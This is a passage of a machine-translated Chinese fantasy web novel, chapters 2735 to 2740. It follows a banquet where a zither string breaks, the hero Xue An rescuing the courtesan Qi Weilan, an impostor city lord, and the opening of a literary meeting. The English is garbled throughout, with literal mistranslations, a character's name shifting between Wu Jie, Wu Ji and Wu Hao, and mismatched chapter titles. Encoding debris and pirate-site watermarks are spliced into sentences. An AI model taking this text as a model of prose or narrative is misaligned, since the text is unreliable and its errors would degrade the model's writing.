    "It turned out to be Miss Yun from the outer building, long time no see!"


    As a great scholar of Qisi Poetry Society, he naturally recognizes Yun Lingxuan.


    In fact, the reason why he was invited by Xu Ling''an this time to come to this remote place to host a literary meeting was largely due to this Yun Lingxuan.


    After seeing Tang Zheng, Yun Lingxuan didn''t show much excitement, but just nodded slightly.


    "It turned out to be Master Tang!"


    Hearing this name, coupled with Yun Lingxuan''s repelling tone from thousands of miles away, a look of sadness appeared in Tang Zheng''s eyes, but the light flashed away, and he immediately laughed.


    "Miss Yun is so polite. You and I have known each other for a long time. Don''t mention the name of a master. If you don''t dislike it, please call my son safe!"


    Tang Zhengzi Zi''an, but this name can only be used by people with very good relationships. Now when he mentions Yun Lingxuan in front of so many people, his intentions are simply obvious.


    But Yun Lingxuan obviously didn''t buy his account, "Master Tang is joking, how dare I, Yun Lingxuan, He De, call you directly!"


    After hearing this, Tang Zheng was still smiling, but there was a bit of bitterness in his smile.


    At this embarrassing moment, I saw this Xu Lingan stand up and laughed: "Master Tang, I have heard of Miss Yun��s piano skills, and it��s rare to get together today. It��s better to let Miss Yun play a piece for us. You have been washed away, what do you think?"


    Tang Zheng did not immediately respond to his words, but instead looked at Yun Lingxuan with inquiring eyes.


    Yun Lingxuan looked indifferently, "Tuan''er, bring the piano!"


    "Yes, miss!"


    Tuan''er immediately opened the package with him, and then someone brought the table and chair, Yun Lingxuan took out the guqin from the package and gently placed it on the table.


    Seeing this scene, all the people present couldn''t help holding their breath.


    Because even those who live in a corner, they have heard of this girl Yun''s name, especially her piano skills, which can be described as superb, with the reputation of heavenly sound.


    So when they saw her preparing to play the piano, everyone''s faces couldn''t help showing expectations.


    Tang Zheng is naturally no exception.


    Actually, as a person who has personally experienced Yun Lingxuan''s piano skills, he is looking forward to the next performance more than anyone else.


    But in addition to anticipation, there is a faint anxiety in his eyes.


    Because this occasion is really embarrassing right now, it''s as if people like myself are oppressing Yun Lingxuan with power to play the piano for fun.


    This made him feel an abrupt and beautiful guilt in his heart.


    And at this moment, there is another person in the field with other thoughts, and that is Xu Gaotian.


    I saw him staring at the white-clothed Yun Lingxuan on the opposite side, and the possessiveness in his heart was growing wildly.


    From childhood to adulthood, what he wanted has not been unavailable, especially for women.


    Only on this Yun Lingxuan, he suffered a small loss.


    Thinking of this, the smile on Xu Gaotian''s face grew colder.


    At this moment, Yun Lingxuan Qian''s hand flicked lightly, and the melodious and elegant piano sound broke out.


    In an instant, everyone present seemed to be in the middle of a mountain, with a stream flowing in front of them, bringing a crisp sound of water.


    Before they knew it, the faces of everyone were fascinated.


    Because the sound of the piano is so beautiful.


    From this, we can also see how shocking Yun Lingxuan''s piano skills are. Just a few calm and elegant pluckings led everyone into a whole new world.


    Tang Zheng was even more drunk sitting on the chair, tapping the armrest lightly with his fingers.


    But at this moment, the original melodious and melodious tone of the piano suddenly changed and became violent.


    In an instant, everyone was taken from the elegance of the mountains and flowing water to the squally stormy sea.


    The sound of the piano is as dense as a drum, and it strikes everyone''s heart.


    A look of panic appeared on the face of a slightly weaker mind.


    Even Tang Zheng couldn''t help being surprised.


    Because he has never heard Yun Lingxuan play this kind of music.


    As if filled with infinite anger, the vocal cords bombarded everyone''s ears.


    what happened?


    Could it be that what has Miss Yun experienced during this time?


    Thinking of this, Tang Zheng couldn''t help but suddenly raised his eyes and looked at Yun Lingxuan.


    At this time, Yun Lingxuan''s luck is like flying, but her face is very pale, only one pair of eyes are getting brighter and brighter.


    Tang Zheng''s heart tightened, and he just wanted to stop him.


    At this moment, a sigh sounded in the ears of everyone, and then there was a slight sigh.


    "Why put so much pressure on yourself?"


    As soon as this remark was made, the sound of the piano came to an abrupt end with a clank of string breaking.


    Looking at Yun Lingxuan again, her face was as pale as paperA few drops of blood dripped slowly from her delicate fingers, hitting the guqin, and it immediately penetrated into it.


    The little girl behind ���� was also frightened by this scene.


    "Miss!"


    This Yun Lingxuan didn''t pay attention to so much at all. She suddenly got up and rushed to the entrance of the banquet hall regardless of the Guqin that was almost overturned.


    At this time, Tang Zheng and Xu Ling''an also rushed over.


    They naturally heard the sigh just now.


    But when I got to the door, I found that there was no one outside.


    Xu Ling''an''s complexion instantly became extremely ugly, and a few words popped out between his teeth.


    "Immediately block the City Lord''s Mansion and search for intruders!"


    After that, he gave Tang Zheng a hand.


    "Master Tang, I''m really sorry, you laughed at the first dinner, I''m going to see who is so bold and dare to sneak into my City Lord''s Mansion!"


    After that, he turned around and led Xu Gaotian and the others away.


    In a short time, the banquet hall was mostly empty.


    Tang Zheng looked at Yun Lingxuan, who was standing at the door, and then his eyes stayed on her injured hands.


    It was perfect, and there were a few shallow scars on one of the hands of the masterpiece of the Creator.


    Tang Zheng felt distressed as if the scar was carved on his forehead, and immediately stepped forward.


    "Miss Yun, your hand..."


    (End of this chapter)

 Chapter 2736： Im full of thoughts, let me tell who

    Chapter 2736 is full of thoughts, who to talk to


    Yun Lingxuan immediately held her hands to cover the scars, then took a deep breath, and whispered: "Master Tang is bothering you, I''m fine, but I''m a little tired, leave!"


    After that, Yun Lingxuan walked away.


    Tuan''er looked back at Tang Zheng with a sad face, sighed slightly, and Xuan even quickly left.


    In an instant, Tang Zheng was left alone in the huge banquet hall.


    He stood there in a daze, and it was a long time before he left in despair.


    After returning to her room, Yun Lingxuan sat in front of the window, speechless for a while.


    Tuan''er carefully put the broken string of the guqin on the table, and said distressedly.


    "Miss!"


    Yun Lingxuan turned her head to look at Xiang Tuan''er.


    Tuan''er trembled all over, because she had never seen the look in the eyes of the young lady.


    Perplexity and sorrow are mixed together, making people do not know how to deal with it.


    "Miss!" Tuan''er shouted again.


    Yun Lingxuan''s mouth gradually raised, and a bright smile bloomed, "Tuan''er, have you seen it? The strings are broken!"


    said, Yun Lingxuan''s eyes burst into tears.


    Seeing her crying, Tuaner''s tears couldn''t stop.


    "Yes, the string is broken! Miss, you will finally have enough of your suffering."


    The reason why the master and servant are so excited is entirely because the master who taught Yun Lingxuan to play the guqin and passed it to her once said a word.


    One day the strings on the guqin suddenly broke, which meant that Yun Lingxuan''s hardship finally had hope.


    In order to wait until this day, Yun Lingxuan tried all kinds of pains to no avail.


    I didn''t expect it to be done today in this remote Ling''an domain.


    The master and servant cried for a while, then wiped away their tears, and said very happily: "Miss, don''t cry, we have come over after so much suffering, and we shouldn''t cry now!"


    Yun Lingxuan nodded, and then wiped away the teardrops from the corners of her eyes


    Tuan''er said with some doubts at this moment: "Miss, do you think the voice that speaks in our ears is familiar?"


    Yun Lingxuan hesitated for a moment, thought about it carefully, then nodded, "It''s a bit!"


    "I always feel a little familiar, but no matter how I think about it, I can''t remember where I heard it!" Tuan''er scratched his head anxiously.


    Looking at her weird appearance, Yun Lingxuan leaped for joy, but her heart was warm.


    Because she knew this must have been done deliberately by Tuaner, just to make herself happy.


    "No matter who it is, since the strings are broken, it proves that we must still have a chance to meet, and I believe that this day should come soon!" Yun Lingxuan said solemnly.


    "Hmm!" Tuan''er nodded heavily.


    And that is, at the same time underground, Xue An slowly withdrew his spiritual thoughts, and then followed the law to open the light curtain in front of him.


    After Xue An''s two divine mind clones merged into one, the old man just woke up from the shock, and then said with a wry smile.


    "So, the intensity of your spiritual thoughts is really the only thing I have seen in my life, no wonder you dare to risk being alone!"


    Xue An smiled, but in his heart he was still remembering everything he had just seen in the city lord''s mansion.


    After successfully sneaking into the city lord''s mansion, his spiritual thoughts went through the entire city lord''s mansion in an instant, but he did not find the clues of Qi Weilan.


    That means that Qi Weilan was not captured by Xu Ling''an and his son, so where did she go?


    At the same time, Xue An also remembered the sound of the piano in the banquet hall.


    Xue An was moved by the despair and anger contained in it.


    And the player was Yun Lingxuan who had met once in Ren''an City.


    So Xue An spoke to stop her, one is to cut off her performance, after all, playing like this would cause great damage to her body.


    �� was to demonstrate to Xu Ling''an and the others. After all, he sneaked into the City Lord''s Mansion under their noses, and the provocative meaning of this was self-evident.


    If you guessed it correctly, the current City Lord��s Mansion has already turned the sky! Xue An thought in his heart, and then looked at the old man.


    "What are your plans next?"


    The old man smiled bitterly, "What can I do? If I didn''t meet you, I would be ready to die here, but now that I have met you, then I will naturally settle for what happened back then!"


    Speaking of this, the old man''s complexion became serious.


    "I want to ask you one thing!"


    "Let''s talk about it first!" Xue An said lightly.


    "I actually left a trick back then, that is, I left a person in the city lord''s mansion who would not pay attention to. If I expected it well, this Shi Chang would not be able to treat this person no matter how brutal he was. Start!"


    "So I want to beg you to take me to see this man!"


    "Oh?" Xue An raised his eyebrows slightly, "Who is this person you are talking about? Then why wouldn''t Shi Chang be guarded against him?"


    The old man smiled, "Because this person is an eunuch, you have to know that the six roots of insufficiency has already destined the upper limit of these people''s practice, plus some of my arrangements back then, so Shi Chang will never doubt that he is my person! "


    Xue An nodded, "Well, in that case, I will take you out of here!"


    The next step is simple, Xue An opened the light curtain barrier in a light car, and took the old man out of the cage that had trapped him for many years.


    Then Xue An pulled him with a ray of spiritual thoughts and flew to the ground with him.


    The distance of thousands of feet was only a blink of an eye, and the two quickly rushed out of the ground. After reaching the high altitude, Xue An said solemnly.


    "Let''s see where he is now?"


    Looking at the long-lost city at his feet, the old man at UU reading www.uuk��nshu.com was a little excited. After a long time, he calmed down the blood in his chest and raised his hand to a certain direction in the distance.


    "It''s there!"


    Xue An didn''t answer, and took him to the direction he was pointing in an instant.


    Here stands a small courtyard alone.


    After seeing this small courtyard, Xue An couldn''t help raising his eyebrows slightly.


    Because he discovered that this small courtyard was actually one of the forbidden places that he had discovered during his spiritual exploration.


    After seeing this small courtyard, the expression on the old man''s face became more complicated.


    To be honest, he didn''t know if the back hand he left was still useful.


    After all, so long has passed, and God knows if this person will change.


    The matter is over, and he can only take a risk.


    Thinking of this, he took a deep breath and nodded to Xue An, who was on the side, and then gently wrote a talisman seal in his hand, which he pressed directly on the ground after he finished writing.


    This talisman seal is very simple, and there is no abnormality after pressing it on the ground.


    But at the same moment, a wave that was invisible to the naked eye quickly spread and passed into this small courtyard.


    Xue An naturally saw the clues.


    "It''s that simple?"


    "Well! This is the secret code that I agreed with him back then. As long as I feel this fluctuation, it means I''m back!"


    "Next, I have to wait to see if he will come out!"


    (End of this chapter)

 Chapter 2737： Fortunately

    2737-Swordsman


    In fact, Xue An and the old man didn''t wait long at all, the door of the small courtyard was violently knocked open, and then a fat figure rushed at an extremely fast speed.


    After the old man came closer, the figure fell to the ground with a plop, climbed on his knees to the old man, and touched the ground with his head.


    "grown ups!"


    The fat **** just yelled these two words, and the latter words choked in his throat.


    Seeing this scene, the old man''s face couldn''t help showing a touch of relief.


    "Wu Jie, I really didn''t expect that so many years have passed, you still remember this agreement between us."


    "My subordinates dare to forget the teachings of your lord, and you can''t hide it. These years, the subordinates have been waiting for this day!"


    As he said, the fat **** raised his head, and a touch of firmness appeared on his face full of tears.


    "My lord, you suddenly disappeared back then. Is this Shi Chang upset?"


    The old man nodded and sighed: "There is anyone else but him!"


    "Sure enough," Wu Hao gritted his teeth and said, "No wonder you disappeared so unmarked."


    "What happened after I disappeared?" the old man or the real Xu Ling''an asked at this time.


    Wu Hao smiled bitterly, "What else can happen? This Shi Chang is deliberate, and the city is extremely deep. After you disappeared, he pretended to be you and deceived almost everyone!"


    "Even your apprentices have been concealed by him, thinking that he is you. In this case, it took him less than two years to wipe out all your apprentices for various reasons."


    Hearing this, even though the real Xu Ling was mentally prepared, a sad look appeared on his face.


    "It''s a pity these good kids!"


    After sighing for a while, he asked in a deep voice: "Have you ever exposed?"


    Wu Ji shook his head, "I follow your teachings. Unless you have this handprint, I will never act rashly. Therefore, when I found out that the person in the city lord��s mansion was not you at all, although my heart was shaken, I still pretended to be Without knowing it at all, he successfully concealed this from Shi Chang!"


    "I gained his trust through my own efforts later, and now I am the chief butler of the City Lord''s Mansion!"


    "Good job!" Zhenxuling admired at the Relief Festival, and then couldn''t help sighing.


    "I didn''t think so much when I left you behind the move. It was just out of habitual caution, but I didn''t expect that this move played such a big role!"


    Wu Ji stood up respectfully, "My lord, this is not a place to talk, please come into the courtyard!"


    "Is it safe here?" Zhen Xu Ling''an was already a frightened bird, and asked subconsciously.


    Before Wu Jie could speak, Xue An, who was silent for a long time without speaking, suddenly said: "Don''t worry, at least this will not be the stronghold of Shi Chang and others!"


    As he said, he looked at this Wu Jie, smiled slightly and said, "I didn''t expect Wei Weilan to hide with you!"


    In fact, Wu Jie had already noticed Xue An standing by, but out of respect for Zhen Xu Lingan, he never dared to ask.


    But when Xue An said these words, he was slightly shocked, and immediately thought of something, and could not help but blurt out.


    "You are the Zhuo Benzheng who let Xu Gaotian squash in Wanhualou a few days ago?"


    He had already heard the things that happened at the beginning, and he couldn''t help asking.


    Xue An smiled and shook his head, "No, but I was entrusted by those friends to come to look for this girl!"


    "Let''s go! Go inside and talk."


    Xu Lingan was extremely convinced by Xue An. Since he said it was safe inside, there would never be any danger, so he couldn''t wait to say.


    After the group of three entered the small courtyard, Wu Ji, who walked at the end, closed the door easily, and the small courtyard once again became a forbidden zone of divine consciousness.


    At the same time, this Qi Weilan was standing in the courtyard uneasy.


    Just now Wu Ji suddenly rushed out of the small courtyard very excited, this move frightened Qi Weilan.


    Her first reaction was that someone from Xu Gaotian had found her.


    In this case, she immediately prepared for the worst, took out her dagger and began to hold her breath.


    If he is really a person of Xu Gaotian, then he must resist desperately.


    But when she saw Wu Ji walking into the courtyard with one old and one young, her heart that had been hanging could not help but let go a little.


    It seems that they should not be Xu Gaotian, so who are they?


    When I was wondering, I saw the good-looking and unspoken white boy smile at himself.


    "Qi Weilan?"


    Qie Weilan shook slightly, "Do you know me?"


    "Wanhualou''s top card, who can''t recognize it!" Xue An said with a smile.


    "I was asked by Zhuo Benzheng, Girl Qian''er and others to come here to look for you!"


    Hearing the names of Zhuo Benzheng and Girl Qian''er, Qie Weilan opened his mouth slightly, and immediately lowered his eyes a little sadly.


    "I made Master Zhuo bother them!"


    Xue An smiled, and then said to Zhen Xu Ling''an and Wu Ji.


    "The current me is just a divine mind clone, the real me is still with Zhuo Benzheng them, you wait here first, and I will bring them over soon after I go back!"


    Hearing this, Wu Jie was fine, but Xu Ling''an was really frightened.


    Because the means that Xue An demonstrated just now has exceeded the strength he should have at this stage.


    In particular, the incredible intensity of divine consciousness made this true Xu Ling an astonishing.


    But I didn''t expect that this was just a clone of Xue An, and his body didn''t come at all.


    Then how strong is his body?


    Zhen Xu Ling''an was shocked, and Xue An''s figure quickly faded and then became invisible.


    At the same time, in the small courtyard, Xue An slowly opened his eyes, and the first thing that caught his eye was the anxiously waiting gaze of everyone.


    You must know that more than two hours have passed since Xue An entered Ding. Such a long period of time naturally made everyone anxious and frightened.


    It stands to reason that it would not take such a long time to explore the City Lord''s Mansion!


    Could something happen?


    This thought makes many people feel heavy. UU Reading


    Ren Ning sat beside Xue An without saying a word, as if to guard him to wake up.


    When the atmosphere became more and more depressing, Xue An finally opened his eyes.


    At this time, everyone could not help but let out a sigh of relief.


    Ren Ning, who had been holding onto Xue An''s corner tightly, also let go of her hand.


    "How is it?" Zhuo Ben asked hopefully.


    Xue An smiled faintly, "Fortunately not insulting my life!"


    In an instant, everyone was happy.


    Qian''er and many girls were even more excited to give Xue Anlian a salute.


    "Thank you son!"


    (End of this chapter)

 Chapter 2738： Envious people

    2738-Sword


    Zhuo Ben was taking a step forward, "Where is the girl Qi now? Is the city lord''s mansion?"


    Xue An shook his head, "No, I found her from a person named Wu Ji!"


    Hearing the name Wu Jie, Wu Zizhang, who was standing behind Zhuo Benzheng, was shocked.


    "My uncle?"


    That''s right.


    This Wu Jie is exactly what Wu Zizhang said before, the relative of their family in the city lord''s mansion of Ling''an City.


    Hearing this, Han Bochao''s eyes widened.


    "Your relative?"


    Wu Zizhang smiled bitterly and nodded, "Yes, although this uncle has never been back since I can remember, I have heard from my parents more than once, saying that he is a very capable person, and he is also very capable in this Ling''an city. Quite reused!"


    "This time I came to Ling''an City to participate in the literary meeting, the family also told me his address in advance, and asked me to go and run after I arrived, but I lost it!"


    So far, all the details are up.


    Xue An stood up and said lightly: "Let''s go, I will take you to the person you want to see!"


    "How to go? If so many of us act together, will the goal be great?" Yao Yachao, the most sophisticated and respectful, couldn''t help asking.


    Xue An smiled, "Close your eyes!"


    Although they didn''t know what Xue An wanted to do, everyone still closed their eyes and felt a breeze blowing in front of them.


    "All right!"


    Everyone didn''t know why, but when they opened their eyes, they were shocked.


    Because it is no longer the slum in front of me, but a neat small courtyard.


    Who is standing in the courtyard is not Qie Weilan!


    "Miss Qi!"


    Qian''er and others rushed over immediately.


    This Qie Weilan didn''t expect Xue An to come back so quickly. First, he was taken aback, and even if he burst into a bright smile.


    "Miss Qi, what''s wrong with your face?" Some girl asked in astonishment.


    Because of the current Qi Weilan, the top of his left cheek was bandaged.


    "It''s nothing, it''s just a little hurt!"


    While speaking, she took a deep breath and walked straight to Zhuo Benzheng.


    Seeing this scene, everyone wisely gave way to a path.


    When he walked to the front and back of Zhuo Ben, Qi Weilan stopped, and gently swept the temple near his ear, but said nothing.


    Zhuo Ben was standing there at a loss, blushing as if burning.


    After a long time, Qie Weilan whispered softly: "Master Zhuo!"


    "Um!"


    "do you like me?"


    "Hmm...Huh?"


    Zhuo Ben was dreaming and didn''t expect that Qi Weilan would ask this, and he couldn''t help being taken aback.


    "I said...Do you like me?" Qie Weilan asked loudly.


    This imposing question made the courtyard calm down.


    Many people watched this scene with a smile.


    Zhuo Benzheng blushed to make people worry about whether he would faint because of being too embarrassed.


    "me����."


    I''ve been here for a long time, but I didn''t have a reason.


    Everyone looked anxious.


    The brilliance in Qie Weilan''s eyes gradually extinguished.


    "I see, my concubine looks like a willow, and has fallen into the dust again, knowing I am not worthy of the son, please forgive me for taking the liberty of just now!"


    After all, she turned and left.


    People are silent.


    Everyone knows that with this Weilan''s temper, if he turns around, it will be impossible.


    Even Yao Yachao, who disagreed with this relationship before, couldn''t help but sigh secretly at this moment.


    But at this moment, only a slightly trembling voice came.


    "Xia Xia likes girls, and she likes you very much from the first sight!"


    Hearing this, Qie Weilan, who was about to turn and leave, froze, and then slowly turned around.


    Zhuo Ben was looking at her with a solemn expression on his face.


    "But I fell into the dust..."


    Zhuo Benzheng did not hesitate to interrupt her, "So what? And this is not the girl you want to do, I think you must have your own embarrassment, so..."


    Zhuo Ben was taking a deep breath, "No matter what, I want to bear it with you, no matter how difficult the road ahead, I have no regrets!"


    Hearing Zhuo Benzheng''s words, a group of flames gradually ignited in Qie Weilan''s eyes.


    That is the flame named love and hope.


    "Then why did you not dare to speak just now?" Qie Weilan pressed the corner of his mouth slightly and asked softly.


    Zhuo Ben was smiling bitterly, "That''s because I''m afraid that the girl will be abrupt and reckless!"


    Qi Weilan gradually burst into a bright smile, and then Chong Zhuo was hooked, "Come here!"


    Zhuo Ben didn''t know, so he stepped forward to Qi Weilan.


    "Girl, what''s the matter..."


    Before he finished his words, Qie Weilan hooked his neck, then stood up and kissed his mouth.


    In an instant, Zhuo Benzheng''s brain went blank.


    And the audience also burst into cheers and whistles after a moment.


    Wu Zizhang and Han Bochao and Yao Yachao were about to slap their hands, looking at their brothers with envy.


    It must be Brother Zhuo!


    Thousands of miles away from home to attend the literary meeting, but before the literary meeting started, he abducted a beautiful and beautiful girl!


    Really envy people!


    As for Ms. Qian''er and others, their faces were also full of joy, but at the same time tears appeared in the eyes of many people.


    It was the sadness and sorrow associated with himself after seeing Qie Weilan''s experience.


    If Qie Weilan meets a gentleman like Zhuo Benzheng, it is her good luck. Can she have such good luck?


    Just as the girls'' hearts were mixed, and after a passionate kiss, Qie Weilan finally let go of his mouth.


    At this time, Zhuo Ben was already fainted, and he didn''t know where he was or what he was doing.


    Qie Weilan stretched out his finger to click on his red lips, and then pressed it on Zhuo Benzheng''s forehead with a sense of accomplishment.


    "Miss Qi, what is this for?"


    Qie Weilan said with a smile: "This is a mark, which means that you will be the old lady from now on!"


    Zhuo Benzheng was dumbfounded, "Miss Qi, you..."


    "Is it still called Miss Xi?" Wei Lan said quietly.


    "That����."


    "Call me Weilan!"


    "Well, Weilan!"


    Just when the two began to abuse the dog like no one else, outside Ling''an City, the actor Wu Jun raised his head and looked at the Fang Wensheng tablet floating in the sky, and said lightly.


    "It seems that the people from Qisi Poetry Club have already arrived!"


    Duan Muguang, the man on the side, said solemnly: "They move very fast This literary memorial tablet was established early."


    Then he looked at Wu Jun, "How is it, how are you prepared?"


    Wu Jun was silent for a moment, and then a small whirlpool appeared on his hand.


    Duanmu''s eyes flashed and nodded, "I''m fine too!"


    "Let''s go, there are people who are wronged, the debts are the masters, it''s time to settle the grievances of the master back then!" Wu Jun said lightly.


    "Um!"


    The two stepped into Ling''an City, and at the same moment, among the countless carriages rushing to Ling''an City, there was a chariot from Ren''an City.


    At this moment, Ren Xingzheng in the chariot sat there with tears in his eyes, completely knowing where his destiny would lead.


    (End of this chapter)

 Chapter 2739： Literary meeting

    Chapter 2739 the literary meeting is held


    In this chaos, time finally came to the day when the literary meeting was held.


    At this time, the major inns in Ling''an City were already full, and not only the students attending the literary meeting, but also the idlers who came to see the excitement.


    So before the day light came on, the Wenhui Pavilion that was specially built was already crowded with people.


    Speaking of which, this fake Xu Ling''an is Shi Chang''s effort to increase the momentum of this literary meeting.


    This Wenhui Pavilion was specially built for the Wenhui. Needless to say, its magnificent momentum, the key is that its location is very important, it is located on the open space on the side of the City Lord''s Mansion.


    The main building is a building with a height of one hundred meters high. It is magnificent and extremely luxurious, and on the square in front of the building are several huge water mirrors.


    At that time, after the opening of the conference, there will be a dedicated person in charge of these water mirrors, which will broadcast the conference in real time.


    At this moment, the huge square was crowded with people watching the excitement.


    The crowd was full of hustle and bustle, and the discussions were all about the literary meeting.


    "Tsk tsk, it''s been a long time since we have hosted such a grand event in Ling''an Domain. I heard that this time even the girl Yun Lingxuan Yun from Zhongzhou Dayu has been invited here!"


    "Well, don''t you see the piece of literary sacred tablet floating in the sky? This time even the Qisi Poetry Society has sent a top scholar, which shows the high standards of this literary meeting!"


    "I really didn''t expect that our remote state could hold such a high-level literary meeting one day, or it would have to be the Old City Lord. Although the Young City Lord is a little dull, the Old City Lord is not at all confused about major issues!"


    Hearing this, someone next to him sneered, "Okay, who doesn''t know what happened to the literary meeting this time! The old city lord made it clear that he wanted to promote his son in the early days. The so-called literary meeting was just a cutscene. That''s it!"


    "Probably not, there is a great scholar from the Qisi Poetry Society here to guard, even if the old city owner is powerful, it is impossible to secretly engage in ghosts!"


    "Hehe, let''s watch, anyway, I don''t believe that the old city lord will painstakingly create such a big momentum for a literary meeting!"


    People talked a lot, and talked about everything.


    At this moment, the water mirrors hanging on the square were glowing with a hazy brilliance.


    As soon as this brilliance came out, the scene instantly calmed down.


    Because everyone knows that this representative essay will begin soon.


    really.


    The hazy brilliance began to clear quickly, and then the scene inside Wenhui Pavilion appeared in the water mirror.


    At this time, the venue has already been set up, and the first to enter the venue are the students who are eligible to participate in this literary meeting.


    Seeing these students from all over the Ling''an Domain filed in, everyone''s face was full of vigor.


    Because no matter what, they are all showing their faces today.


    Even if you can''t get any good rankings in the next essay, but at any rate it can be regarded as showing your face in front of so many people. This is simply the biggest inspiration for these students who are full of vanity.


    At least at this moment, they knew that Shui Jing was broadcasting their every move, so they all tried their best to show their good side.


    Everyone''s speech and demeanor are polite, showing the gentle and gentle student demeanor.


    After all, no one knows what people are watching under the water mirror. If you behave well, you might be attracted by which girl.


    And in this hypocritical atmosphere, several people quietly entered the venue.


    Zhuo Benzheng was a little nervous when he saw such a big scene for the first time.


    The woman next to her who was disguised as a man and wearing a large scribe''s hat to cover most of her face seemed to be aware of his nervousness and couldn''t help but shook his hand gently.


    Zhuo Ben was turning his head to look, and Qi Weilan smiled at him slightly.


    Somehow, after seeing the bright smile on Qi Weilan''s face, Zhuo Benzheng felt his heart settled. The tension and panic he had had before was wiped out, and he steadfastly went to the corner of the venue.


    In fact, before today, he was not sure whether he would participate in this literary meeting.


    After all, he had already offended Xu Gaotian.


    And in this Ling''an City, anyone can offend, but this hakama can''t be offended.


    What''s more, Qi Weilan even assassinated him.


    Under the superposition of the two, their wisest choice should be to leave the city as soon as possible, rather than to participate in some literary meeting.


    Yao Yachao, the most sophisticated and respectful of the four of them before, thought so.


    But soon, all four of them changed their minds.


    Because Xue An''s words woke them up.


    "Do you think that you can sit back and relax by escaping from Ling''an City? As the young master of the entire Ling''an Region, Xu Gaotian, as long as you are still in the Ling''an Region, it is impossible to escape his control!"


    "Now that Ling''an City is suppressed by the Wensheng Tablet, he still dare not be too presumptuous, but if you dare to leave this Ling''an City, believe it or not you just stepped out on the front foot, someone will chase you down on the back foot?"


    These words made Zhuo Benzheng and the others look a little ugly.


    "So what do you think of Xue Gongzi?"


    At that time, Xue An smiled faintly, but said a very simple sentence.


    "Sometimes if the problem is very difficult and can''t be solved, then directly solve the person who caused the problem!"


    After a few words of persuasion, the four of them finally decided to participate in the literary meeting.


    As for this Qie Weilan, it was because he was really uneasy about the lover he just found, so he deliberately disguised himself and came with him.


    In fact, there is another thought in her mind, that is, she really wants to see how Xue An solved the problem of Xu Gaotian and his son.


    After entering the venue, the five of them sat in the corner of the venue very low-key, and did not attract the attention of the people around them.


    But someone in the venue still noticed them.


    The actor Wu Jun, who was also dormant in the corner, looked at Zhuo Benzheng in the opposite corner with a grim expression.


    "These people are weird!"


    Duan Muguang nodded, UU read , "I can also see that the person next to the leader should be a woman dressed as a man!"


    "I''m not talking about this!" Wu Jun shook his head.


    "This literary meeting does not prohibit women from participating, so she doesn''t need to pretend to be a man, not to mention that she wears a hat that covers most of her face, which shows that she doesn''t want to be seen at all!"


    "You mean... this group of people also have a plan?" Duan Muguang hesitated.


    "I don''t know, it''s just that these people''s condition is not quite right. We will pay more attention to them later, so as not to hinder our actions! After all..."


    Wu Jun paused, a look of decisiveness appeared on his face, "We only have one chance, so make sure you are safe!"


    "Understand!" Duan Muguang replied in a deep voice.


    (End of this chapter)

 Chapter 2740： Shameless

    2740-Sorcerer


    At this moment, there was a big uproar at the entrance of the venue, and then "Xu Ling''an" and Xu Gaotian, father and son, came in one after another.


    Seeing the father and son, Wu Jun, who was originally lurking in the corner, flashed a bit of hatred in his eyes.


    But the light of hatred disappeared extremely quickly, and then Wu Jun lowered his head deeply.


    At the same time, Xu Ling''an, who was originally smiling, turned his head and turned his gaze to the corner where Wu Jun was.


    He suddenly felt a biting chill just now. Although this feeling was fleeting, he still keenly perceives what a character he is.


    But when I waited to see it, I saw that the place was peaceful and peaceful, without the slightest strangeness.


    Xu Ling''an or Shi Chang frowned insignificantly, Xu Gaotian behind him noticed something was wrong and couldn''t help asking in a low voice.


    "Father, what''s the matter?"


    Shi Chang shook his head, "It''s okay! Let''s go!"


    With that, Shi Chang led his son to the high platform of the venue.


    This is a VIP seat specially set up, so there are very few people here at the moment.


    When Shi Chang and his son arrived, everyone here bowed and left their seats to show their welcome.


    "City Lord!"


    "I have seen the city lord!"


    Shi Chang pressed his hand down with a gentle smile on his face, "Don''t be polite, everyone sit down!"


    Everyone returned to their seats.


    At this time, the venue became more and more heated.


    When it was determined that the shocking coercion just now had completely disappeared, Wu Jun took a deep breath and slowly raised his head.


    "It''s such a strong pressure and a keen perception. If I hadn''t seen the opportunity just now, it might have been exposed by now." He whispered softly.


    Duan Muguang''s complexion is also a little pale, "Yes, just a trivial thought can be detected by him, this old thief has not seen him for so many years, and his strength is diligent!"


    "Are you scared?" Wu Jun said lightly.


    Hearing this, Duan Muguang''s face instantly flushed with anger, and he whispered: "From the moment I and you set foot on the road of revenge for Master, I have put life and death to death. Besides, what about the word fear?"


    "I''m just worried that this old thief has such a keen perception, will he escape when he starts!"


    Wu Jun glanced at the angry Duan Muguang and chuckled, "Don''t worry, I''m fully prepared, even if this old thief is slippery than a loach, I don''t want to escape today!"


    And at this moment, there was a tumult like a tsunami in the field.


    Many people even leaned and left their seats, tiptoe and stretch their necks to look in.


    The reason why he was so excited was entirely because the goddess who entered the market at this moment was the same goddess in the hearts of the world without mathematicians.


    It was Yun Lingxuan who was born outside the building and shocked the world with his superb piano skills.


    Seeing Yun Lingxuan at this moment, dressed in a white cloth that was not stained with dust, came curling up, the quiet and elegant temperament in the action made all those who saw her breathless, for fear that she would be abrupt again.


    And immediately behind her was Tang Zheng, the great scholar of Qisi Poetry Society.


    Seeing him at this moment, a daze flashed in his eyes from time to time.


    Because today''s Yun Lingxuan can be said to be radiant and beautiful, more elegant than before.


    This made Tang Zheng, who was already deeply rooted in his love, even more fascinated by it.


    This trance has not been relieved until the high platform is on the upper stage.


    At the same time, Shi Chang stood up with a smile on his face.


    "Ms. Yun''s dress today is truly stunning, she is indeed the housekeeper outside the building!"


    Yun Lingxuan just leaned slightly, "City Lord Xu praised it!"


    "Sit down, please!" Shi Chang gave up his seat sideways.


    But he didn''t know whether it was intentional or unintentional. The position he gave was right next to Xu Gaotian.


    Today, he was also dressed up and shook a folding fan. Xu Gaotian, dressed as a scribe, smiled slightly.


    It''s just that how you look at this smile is chilling.


    Yun Lingxuan hesitated for a moment.


    At this moment, Tang Zheng said solemnly: "Miss Yun, you should sit on my side!"


    With that, Tang Zheng turned sideways and stepped aside.


    Yun Lingxuan glanced at Tang Zheng and nodded slightly, "Okay!"


    After that, she sat beside Tang Zheng.


    Seeing this scene, Shi Chang''s face was still smiling, and he could not see the slightest change.


    On the contrary, Xu Gaotian''s eyes were getting colder, but at this moment, no matter how bad his temper, he couldn''t say anything, so he had to endure it secretly.


    But at this moment, he saw a man in the distance looking eagerly toward this side.


    When he came into contact with Xu Gaotian''s sight, the man was overjoyed and immediately stood up and waved his hands again and again.


    Seeing this scene, Xu Gaotian''s heart moved, Xuan even stood up and walked off the platform to the man''s side.


    "Young City Lord!" The man bowed respectfully.


